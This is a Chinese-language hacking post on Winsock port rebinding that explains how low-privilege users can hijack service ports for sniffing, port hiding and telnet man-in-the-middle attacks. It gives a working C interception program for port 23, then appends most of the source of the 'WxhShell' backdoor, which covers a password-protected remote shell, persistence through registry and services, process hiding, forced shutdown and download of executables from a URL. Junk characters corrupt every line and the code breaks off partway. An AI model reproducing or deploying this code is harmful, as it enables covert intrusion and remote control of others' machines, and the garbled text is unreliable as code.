在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
XMkRYI1~ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
czu9a"M>X
JrLh=0i9 saddr.sin_family = AF_INET;
|te=DCO _6,\;"it?8 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
6("bdx;! # |(>UM\ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
@~|;/OY>" X])iQyN 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
Nb
!i_@m%s <bo)p6S& 这意味着什么?意味着可以进行如下的攻击:
v6=%KXSF PMbZv%.,- 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
oOvQAW8` ~+t@7A= 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
u*I'c2m !1i-"rR 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
R-NM ~gp )fIG4#%\ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
$.d,>F6 T*0;3&sA 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
Keo<#Cc? hF@%k
;I 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
{'wvb
"b Z:N;>.3i 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
aZ_3@I{d` f sh9-iY8e #include
lkJxb~S #include
C"**>OGe #include
+jwk4BU #include
N*&T)a DWORD WINAPI ClientThread(LPVOID lpParam);
\ HUDZ2 s int main()
wf]?:'} {
&ck}3\sQ WORD wVersionRequested;
#;^U W DWORD ret;
e/:? 9 WSADATA wsaData;
L8h!%56s BOOL val;
)~R[aXkvY SOCKADDR_IN saddr;
'fb\t, SOCKADDR_IN scaddr;
FI?J8a int err;
!i (V.A SOCKET s;
fi*b]a\' SOCKET sc;
$6*Yh-"g int caddsize;
wn.6l
` HANDLE mt;
u*=^>LD DWORD tid;
kw2yb wVersionRequested = MAKEWORD( 2, 2 );
M$@~|pQ< err = WSAStartup( wVersionRequested, &wsaData );
5m0lk|` if ( err != 0 ) {
%}zkmEY.e printf("error!WSAStartup failed!\n");
4D<C;>*/b return -1;
yUo8-O aL7 }
|T/OOIA=sI saddr.sin_family = AF_INET;
Zv9JkY=+@ 9XDSL[[ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
@M<qz\
[ t'At9<ib saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
y6d!?M(0U saddr.sin_port = htons(23);
579D if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
\WC,iA%Y {
LkzA_|8:D printf("error!socket failed!\n");
:* ]#n return -1;
I9+h-t }
fUWrR1 val = TRUE;
<2 [vR|Q* //SO_REUSEADDR选项就是可以实现端口重绑定的
A~nqSe if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
P,)D0i {
ey[Z<i1 printf("error!setsockopt failed!\n");
>M{98NH return -1;
'R-\6;3E>9 }
-o"b$[sf=Z //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
tR<#CCtRp' //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
0vSPeZ
//其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
juF=ZW%i 5&EBUl} if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
d-Z2-89K {
~ <K,P
ret=GetLastError();
jG{?>^ printf("error!bind failed!\n");
xsRkO9x return -1;
Lm`-q(!7w }
q\i&ERr listen(s,2);
1I69O6" while(1)
Ty{
SZUJ {
Q) aZ0 Pt caddsize = sizeof(scaddr);
B%Qo6*b //接受连接请求
EU:N9oT sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
] WYub1 if(sc!=INVALID_SOCKET)
?K2EK'-q {
j~ds)dW%`& mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
GEVDXx>@ if(mt==NULL)
l\AdL$$Mb {
r`Fs"n#^-4 printf("Thread Creat Failed!\n");
Tb2#y]27 break;
psIo[.$rTk }
Y0lLO0' }
4V,p\$; CloseHandle(mt);
hwe6@T.# }
7Rtjm closesocket(s);
@o?Y[BR WSACleanup();
V1d#7rP return 0;
?b(wZ-/ }
s
Y1@~ v DWORD WINAPI ClientThread(LPVOID lpParam)
u5rvrn ] {
ZaY|v- SOCKET ss = (SOCKET)lpParam;
=kwz3Wv SOCKET sc;
w$iPFZC' unsigned char buf[4096];
tF/Ni*\^rV SOCKADDR_IN saddr;
# =y)Wuo= long num;
7w9'xY DWORD val;
/2=9i84 DWORD ret;
PDS( /x& //如果是隐藏端口应用的话,可以在此处加一些判断
w<!,mL5 N //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
N&
F.hi$_ saddr.sin_family = AF_INET;
\ Qx%76 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
1@'I eywg saddr.sin_port = htons(23);
c9jS
!uDMK if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
n>eDN\5 {
eA]8M^ printf("error!socket failed!\n");
xqg4b{ return -1;
4,:I{P_>6B }
kGnT4R*E val = 100;
1CZO+MB&"$ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
L |#0CRiN {
zq$L[X ret = GetLastError();
uc"%uc' return -1;
Ue;Z)} }
}L|B@fW if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
G+2fmVB*X {
> fV"bj. ret = GetLastError();
7O|`\&RYR return -1;
F%lC%~-qh }
f &NX~( if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
X)RgXl{ {
5K?/-0yG printf("error!socket connect failed!\n");
q!U$\Q& closesocket(sc);
K>~YO~~ closesocket(ss);
\5<Z [#{ return -1;
GL9'dL| }
t%^&b'/Z while(1)
NM:$Q<n {
&J9 + 5L8 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
32aI0CT //如果是嗅探内容的话,可以再此处进行内容分析和记录
B<.\^fuS //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
R87@. num = recv(ss,buf,4096,0);
abS~'r14 if(num>0)
d:A'|;'] send(sc,buf,num,0);
2x|FVp else if(num==0)
5"b1:
w@ break;
cQd?,B3#F num = recv(sc,buf,4096,0);
*v8daF if(num>0)
sxuP"4 send(ss,buf,num,0);
lq3D!+m else if(num==0)
)AcevEHB break;
WB'1_a }
rZB='(? closesocket(ss);
x.pg3mVd> closesocket(sc);
j$6Q]5KdoS return 0 ;
,2FI?}+R }
i E;F=Rb e&!c8\F 8#,_%<?UVy ==========================================================
Au)~"N~p? ^A\(M%*F 下边附上一个代码,,WXhSHELL
M(\{U"%@? |XQ_4{ ==========================================================
Pz
D30VA QAo/d4 #include "stdafx.h"
]3 GO_tL ?9eiT:2 #include <stdio.h>
zNo"P[J8 #include <string.h>
tD#) #include <windows.h>
#Q=c.AL{ #include <winsock2.h>
/G]/zlUE #include <winsvc.h>
L|(U%$ #include <urlmon.h>
bxO/FrwTj{ <?DI!~ #pragma comment (lib, "Ws2_32.lib")
4=y&}3om(0 #pragma comment (lib, "urlmon.lib")
as/PM" _~umE/tz #define MAX_USER 100 // 最大客户端连接数
`h :!^"G #define BUF_SOCK 200 // sock buffer
2Rwd\e.z #define KEY_BUFF 255 // 输入 buffer
`) ],FE*: 2(\PsN w! #define REBOOT 0 // 重启
E&t8nlTx #define SHUTDOWN 1 // 关机
Fx1FxwIJ d5{=<j #define DEF_PORT 5000 // 监听端口
*+6iXMwe (5:pHX`P #define REG_LEN 16 // 注册表键长度
>y#qn9rV1 #define SVC_LEN 80 // NT服务名长度
pih 0ME}z r.Z g<T // 从dll定义API
:?ZrD,D typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
I!kR:Z typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
RZnmia typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
Jwj=a1I 53 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
3gJZlH5IR bV'r9&[_6 // wxhshell配置信息
tfm3IX struct WSCFG {
y.8nzlkE{ int ws_port; // 监听端口
y#`;[! char ws_passstr[REG_LEN]; // 口令
WH7UJCQ int ws_autoins; // 安装标记, 1=yes 0=no
%`]!atH char ws_regname[REG_LEN]; // 注册表键名
Y+g(aak+. char ws_svcname[REG_LEN]; // 服务名
rxy5Nrue char ws_svcdisp[SVC_LEN]; // 服务显示名
>P} XCAU char ws_svcdesc[SVC_LEN]; // 服务描述信息
<RC %< char ws_passmsg[SVC_LEN]; // 密码输入提示信息
rhaq!s38: int ws_downexe; // 下载执行标记, 1=yes 0=no
hc0 $mit char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
#E\6:UnT char ws_filenam[SVC_LEN]; // 下载后保存的文件名
%8Y+Df;ax 5{DwD{Q };
-U_,RMw~ ~g#/q~UE // default Wxhshell configuration
- 3PLP$P struct WSCFG wscfg={DEF_PORT,
([rSYKpi "xuhuanlingzhe",
sy4Nm0m 1,
ld({1jpX, "Wxhshell",
!v%>W< 3Q "Wxhshell",
G8?Do+[ "WxhShell Service",
8 ?y| "Wrsky Windows CmdShell Service",
#v~dhx=R "Please Input Your Password: ",
O<@L~S] 1,
,(sE|B#s "
http://www.wrsky.com/wxhshell.exe",
`]4(Z"R "Wxhshell.exe"
qq[Dr|%7 };
&0G9v EX, {1^h // 消息定义模块
@ %q>Jd char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
ve.P{;;Ky char *msg_ws_prompt="\n\r? for help\n\r#>";
c\ZnGI\| char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
'YbE%i} char *msg_ws_ext="\n\rExit.";
xA2I+r*o char *msg_ws_end="\n\rQuit.";
Q]K$yo char *msg_ws_boot="\n\rReboot...";
"8U=0 a char *msg_ws_poff="\n\rShutdown...";
BKE ?o^03 char *msg_ws_down="\n\rSave to ";
NZ!I > 1#+|RL4o char *msg_ws_err="\n\rErr!";
f4d-eXGwx` char *msg_ws_ok="\n\rOK!";
p_JWklg^ "j8=%J{ char ExeFile[MAX_PATH];
l1L8a I,8 int nUser = 0;
Cv*K.T HANDLE handles[MAX_USER];
JwWxM3(%t int OsIsNt;
T9kc(i' 9CN'29c SERVICE_STATUS serviceStatus;
B` +,
8 SERVICE_STATUS_HANDLE hServiceStatusHandle;
FK-q-PKO#. jpW_q+^? // 函数声明
gyh8 int Install(void);
V=1zk-XC int Uninstall(void);
|:2B )X int DownloadFile(char *sURL, SOCKET wsh);
E&@#*~ int Boot(int flag);
<_=O0 t|6 void HideProc(void);
c1y+kvv int GetOsVer(void);
x7i<dg& int Wxhshell(SOCKET wsl);
WMWMb3 void TalkWithClient(void *cs);
QSM3qke int CmdShell(SOCKET sock);
R(P(G;#j int StartFromService(void);
cQBc6eAi int StartWxhshell(LPSTR lpCmdLine);
#QSSpsF@ Sx0{]1J VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
yn<J>e VOID WINAPI NTServiceHandler( DWORD fdwControl );
j]R[;8g TVSCjI // 数据结构和表定义
BYa#<jXtAT SERVICE_TABLE_ENTRY DispatchTable[] =
a+~b3 {
k:@N6K/$P^ {wscfg.ws_svcname, NTServiceMain},
alNn(0MG {NULL, NULL}
%Kp^wf#o9 };
:kwDa
a .J+F
HG' // 自我安装
1:@ScHS int Install(void)
ke<5]&x {
Lh.-*H char svExeFile[MAX_PATH];
15' fU! HKEY key;
9!Xp+< strcpy(svExeFile,ExeFile);
Cp>y<C" CW/L(RQ // 如果是win9x系统,修改注册表设为自启动
}ALli0n`V) if(!OsIsNt) {
= iDd{$ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Bx$?*y&f!v RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
UM]3MS:[ RegCloseKey(key);
TGPZUyi3!= if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
ocUBSK|K) RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
D~M R)z_p~ RegCloseKey(key);
T:|p[Xbo return 0;
E:PPb9Kd }
S0r+Y0J]< }
g:G5'pZf }
+bJ~S:[ else {
pm:- E(3# aX|(%1r // 如果是NT以上系统,安装为系统服务
Bm%|WQK SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
co^h2b if (schSCManager!=0)
zzW$F)X {
aU[!*n 4Ux SC_HANDLE schService = CreateService
rwgj] (
^L7!lzyo schSCManager,
R1<$VR wscfg.ws_svcname,
^~@3X[No wscfg.ws_svcdisp,
;<GxonIV SERVICE_ALL_ACCESS,
h5-yhG SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
YmjA!n SERVICE_AUTO_START,
Eelv i5 SERVICE_ERROR_NORMAL,
m@w469&<(q svExeFile,
RQ^
\|+_ NULL,
W@'*G*f NULL,
a69e^;,>q NULL,
$MfRw NULL,
?<8c NULL
dZb;`DjTH );
5dD8s-;^T if (schService!=0)
/<(-lbq, {
87eH~&<1 CloseServiceHandle(schService);
h/8p2Mrqi CloseServiceHandle(schSCManager);
VhAJ1[k4! strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
Ip)u6We>I strcat(svExeFile,wscfg.ws_svcname);
K~S*<? if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
nXI8 `7D RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
H~>8q~o] RegCloseKey(key);
3#>%_@< return 0;
NPM2qL9&J }
Tm7LaM }
{Ja (+NQ CloseServiceHandle(schSCManager);
b0@K ~O;g }
gwXmoM5 }
WpnP^gmX %f1IV(3Qc return 1;
3Lq9pdM>2@ }
ux|
QGT2LY G#6Z@|kVw // 自我卸载
-o!bO9vC int Uninstall(void)
U0{)goN. {
l+hOD{F4pS HKEY key;
Em5,Zr_ 'd&4MA 0X if(!OsIsNt) {
Ryxu#]s if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
;'08-Et RegDeleteValue(key,wscfg.ws_regname);
k hD)x0'b RegCloseKey(key);
Y5;afU=' if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
w9O!L9 6 RegDeleteValue(key,wscfg.ws_regname);
>gM"*Laa? RegCloseKey(key);
W|uRQA` return 0;
u4m8^fj+T }
YG8)`XqC }
3G2iRr.o }
Oe
:S1 f else {
!"Q%I#8uh ~kSOYvK$' SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
t*A[v if (schSCManager!=0)
UX<-jY#'V {
NJ-Ji> w SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
T:H~Y+qnt if (schService!=0)
9&`";dg {
S7#dyAX8 if(DeleteService(schService)!=0) {
j|N<6GSke CloseServiceHandle(schService);
a l6y=;\jZ CloseServiceHandle(schSCManager);
[C<K~ return 0;
~UNha/nt }
l(}L-:@A CloseServiceHandle(schService);
_2{_W9k }
$|3zsi2 CloseServiceHandle(schSCManager);
84WcaH }
6-)WXJ@V }
-"i$^Q` rXE0jTf:a return 1;
">eled)O }
!IO\g"y~|% N mxh zjJ // 从指定url下载文件
lcjOBu int DownloadFile(char *sURL, SOCKET wsh)
-qHG*v, {
1@h8.ym<" HRESULT hr;
2/uZ2N|S char seps[]= "/";
K9p<PLy+ char *token;
CYwV]lq:s char *file;
+'MO$&6 char myURL[MAX_PATH];
Tcc83_Iq char myFILE[MAX_PATH];
BnGoB`n CmBgay strcpy(myURL,sURL);
SE6(3f$ token=strtok(myURL,seps);
1TR+p? " while(token!=NULL)
|B*B>P# {
BmccSC;o4 file=token;
:
xggo token=strtok(NULL,seps);
"e8EA!Ipte }
:D-D+x #W3H;'~/5 GetCurrentDirectory(MAX_PATH,myFILE);
bR~(Ry` strcat(myFILE, "\\");
_;Xlw{FN^ strcat(myFILE, file);
)z18:C3 send(wsh,myFILE,strlen(myFILE),0);
@U1|?~M%s send(wsh,"...",3,0);
r=vY-p hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
>wt.)c?5 if(hr==S_OK)
R9#ar{ return 0;
y %61xA`# else
bu_@A^ys return 1;
d,(q3 U1E@pDH }
Fw{@RQf8 .35~+aqC // 系统电源模块
xE^G*<mj: int Boot(int flag)
vc p{Gf|^ {
*i:8g( HANDLE hToken;
ytjZ7J['{ TOKEN_PRIVILEGES tkp;
[MwL=9;!H RLF6Bc if(OsIsNt) {
KB :JVK^ < OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
:(m, 06K LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
]y=U"g tkp.PrivilegeCount = 1;
?Fny_{&^H tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
9lR6:}L7 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
V;"2=)X if(flag==REBOOT) {
L[Z^4l_! if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
Us'JMZ~ return 0;
z~3ubta8(@ }
a{^z= = else {
]w _&%mB if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
I]+
zG return 0;
.FgeAxflP }
vN],9q }
K{/i2^4 else {
t,8?Tf+i if(flag==REBOOT) {
"#7Q}d!x if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
f77W{T4 return 0;
!-470J }
F1- "yX1B else {
7z1@XO<D if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
LmqSxHs0Q return 0;
'h'pM#D }
hp(MKfh H }
DzE^FY Y<VX.S2kf return 1;
eaDZ^Z
Er }
MZ-;'w&Z 'l~7u({u // win9x进程隐藏模块
Kb<c||2Nh5 void HideProc(void)
]1d)jWG
{
_BJ:GDz> A>upT' HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
XE<5( if ( hKernel != NULL )
kwT)j(pp< {
m[2[9bQ0 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
@S}j=k ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
n/Fxjf0W
FreeLibrary(hKernel);
)z@
+|A }
uKM` umE {S9gOg return;
3?"gfw W }
iBbaHU*V :'C?uk ? // 获取操作系统版本
-p)`o b- int GetOsVer(void)
^[HUtq {
OF']- OSVERSIONINFO winfo;
wUr(i * winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
(UjaL@G GetVersionEx(&winfo);
yGt[Qvx# if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
Ew
PJ|Z^ return 1;
<_|@~^u else
JcmMbd&B return 0;
36+/MvIT }
R(^Sse x/M$_E<G // 客户端句柄模块
e4Y+u8gT int Wxhshell(SOCKET wsl)
XA;PWl5! {
R--s
u:
SOCKET wsh;
'*rS,y struct sockaddr_in client;
&R4?]I DWORD myID;
Tb?X KO, _$@fCo0 while(nUser<MAX_USER)
ineSo8| @ {
27c0wzq int nSize=sizeof(client);
t!/~_}eD J wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
kjV>\e if(wsh==INVALID_SOCKET) return 1;
VgYy7\?p {[Ri:^nHgL handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
T?!SEblP] if(handles[nUser]==0)
"'Fvt-<^S7 closesocket(wsh);
IO8 @u;& else
,~Xe#eM nUser++;
tyW[i8)O} }
h'h8Mm WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
H#hpaP; Hkia&nz'3 return 0;
86-Rm }
?r&~(<^z r5hkxk' // 关闭 socket
DeF`#a0E void CloseIt(SOCKET wsh)
Mpw]dYM {
WK*tXc_[b closesocket(wsh);
;ZI8vFb nUser--;
,#,K_oz ExitThread(0);
?87\_wL/j }
Vfy@?x=
& J0R{|]W8 // 客户端请求句柄
8w[O% void TalkWithClient(void *cs)
>@bU8}rT {
,WOCG2h {{P 3Z[ SOCKET wsh=(SOCKET)cs;
]6`K char pwd[SVC_LEN];
JC~sz^>p\ char cmd[KEY_BUFF];
}#e=*8F7 char chr[1];
_^b\#Jz4U3 int i,j;
]O:8o<0 DIQ30(MS while (nUser < MAX_USER) {
PV"\9OIKb. iN'T^+um= if(wscfg.ws_passstr) {
NkBvN\CQ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Hn)?
xw]x //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
^J7q,tvbJ //ZeroMemory(pwd,KEY_BUFF);
['\R4H!x i=0;
6q>iPK Jt while(i<SVC_LEN) {
K*Ba;"Ugeg .{8[o[w
= // 设置超时
iC iKr aW fd_set FdRead;
Y_y!$jd(N struct timeval TimeOut;
iY@}Q " FD_ZERO(&FdRead);
MH'%E^n ` FD_SET(wsh,&FdRead);
WQVU 82b* TimeOut.tv_sec=8;
l
7dm@S TimeOut.tv_usec=0;
3
I%N4K4 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
l{8O'4; if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
g]z k` R5 Q!IqvmO if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
lW#2 ox pwd
=chr[0]; Y9#dAI[Gce
if(chr[0]==0xd || chr[0]==0xa) { 1:T"jsWw
pwd=0; ET9tn1
break; dgX%NKv1
} x{w|Hy
i++; ) aMiT
} Fng
-WyB2$!(
// 如果是非法用户,关闭 socket Y+23 jlgb
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); $RI$VyAjD
} _ti^i\8~
X}3?k<m
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Kzq^f=p
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ynMYf
OMjPC_
while(1) { hC<E4+5.,
mpwh=
ZeroMemory(cmd,KEY_BUFF); R|qNyNXo[
z@19gD#8
// 自动支持客户端 telnet标准 4|\M`T
j=0; u|$HA>F[
while(j<KEY_BUFF) { A~E S{Zkh
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8irTGA
cmd[j]=chr[0]; f&5S`}C
if(chr[0]==0xa || chr[0]==0xd) { I'{Ctc
cmd[j]=0; (HeSL),1
break; Pr%KcR ;
} 'M? ptu?f
j++; hUvA;E(qD
} ;
Gv-$0{P3
g6DIWMoO=h
// 下载文件 gk8v{'0Er
if(strstr(cmd,"http://")) { WixEnsJ
send(wsh,msg_ws_down,strlen(msg_ws_down),0); \+U;$.)3
if(DownloadFile(cmd,wsh)) #Cs/.(<
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y~^R^J
else $;ny`^8
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |p*cI @
}
X_Lt{mf
else { d<OdQvW.
=$#5Ge]b
switch(cmd[0]) { aG =6(ec.
"Zn
nb*pOM
// 帮助 h|'|n/F
case '?': { _M7|:*
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 'cS| BT
break; X5+^b({
} mhU=^/X
// 安装 xp3^,x;\X
case 'i': { qPDRB.K|}
if(Install()) Xs$a^zZ
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5'{QMnfB
else L)7{_s
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~qL/P 5*+
break; w-km
qh
} ^z qQ8{oV
// 卸载 Kt]vTn7!9
case 'r': { Z{#3-O<a+n
if(Uninstall()) [\Aws^fD_
send(wsh,msg_ws_err,strlen(msg_ws_err),0); [Ax:gj
else n3U|
d+
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #]Do_Z
break; ;cL+=!
} nHXPEbq-g
// 显示 wxhshell 所在路径 /:\27n
case 'p': { 4UW)XLu6T7
char svExeFile[MAX_PATH]; 6=Q6J
strcpy(svExeFile,"\n\r"); Ax@7RJ||
strcat(svExeFile,ExeFile); c-.F{~
send(wsh,svExeFile,strlen(svExeFile),0); "[z/\l8O
break; 3ErV" R4"$
} 'MyJw*%b]
// 重启 Z5wQhhH
case 'b': { ~pI`_3
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); wLO"[,
if(Boot(REBOOT)) 6y`FW[
send(wsh,msg_ws_err,strlen(msg_ws_err),0); :TnU} i_/h
else { zC[LcC*+J
closesocket(wsh); U/v)6:j)4R
ExitThread(0); %M^Q{`
:5
} Ym
-U{a
break; =/ !A
} 0@u{(m
// 关机 p!Tac%D+k
case 'd': { Ft :_6T%
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); :m'(8s8
if(Boot(SHUTDOWN)) Bv*VNfUm
send(wsh,msg_ws_err,strlen(msg_ws_err),0); %%wngiz\
else { nddCp~NX
closesocket(wsh); ecvZwL
ExitThread(0); 9/&1lFKJ
} _ qQ
break; m^/>C-&C
} *z~J ]
// 获取shell \0qFOjVj
case 's': { &
}"I!
CmdShell(wsh); Tn3C0
closesocket(wsh); 3XbFg%8YG
ExitThread(0); #:MoZw`rlw
break; Xpkj44cd@
} >A6PH*x
// 退出 %2G3+T8*x
case 'x': { Ia^/^>
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); %hBw)3;l
CloseIt(wsh); %$_?%X0=t
break; Xh~oDnP
} $x+ P)5)
// 离开 B(-F|q\
case 'q': { ~g~`,:Qc
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 'P&r^V\~(/
closesocket(wsh); mII8jyg*c
WSACleanup(); (YmIui>
exit(1); :2{ [f+
break; V*6&GM&
} l,b_'
m@
} t#]VR7]
} 8L@@UUjr
[R~@#I P!
// 提示信息 M&/e*Ta5
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); k5)IBO
} 3VQmo\li
} oye/tEMG
+fMW B
return; Jx4~ o{Z}c
} 7:.!R^5H
!E *IktAI
// shell模块句柄 |IWm:[H3
int CmdShell(SOCKET sock) `E>o:tff
{ ydzvjp=
STARTUPINFO si; cf_X=;yaqy
ZeroMemory(&si,sizeof(si)); .e S* F
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )B5U0iIi
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; VOmS>'$
PROCESS_INFORMATION ProcessInfo; K<u~[^R
char cmdline[]="cmd"; _xP@kN~
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); n2(\pQKm
return 0; 4)N~*+~\h
} g-+/zEOUS
kw1Lm1C
// 自身启动模式 j8t_-sU9 i
int StartFromService(void) !6s]p%{V
{ !<>`G0
typedef struct qMBEJ<o
{ @c,=c+-
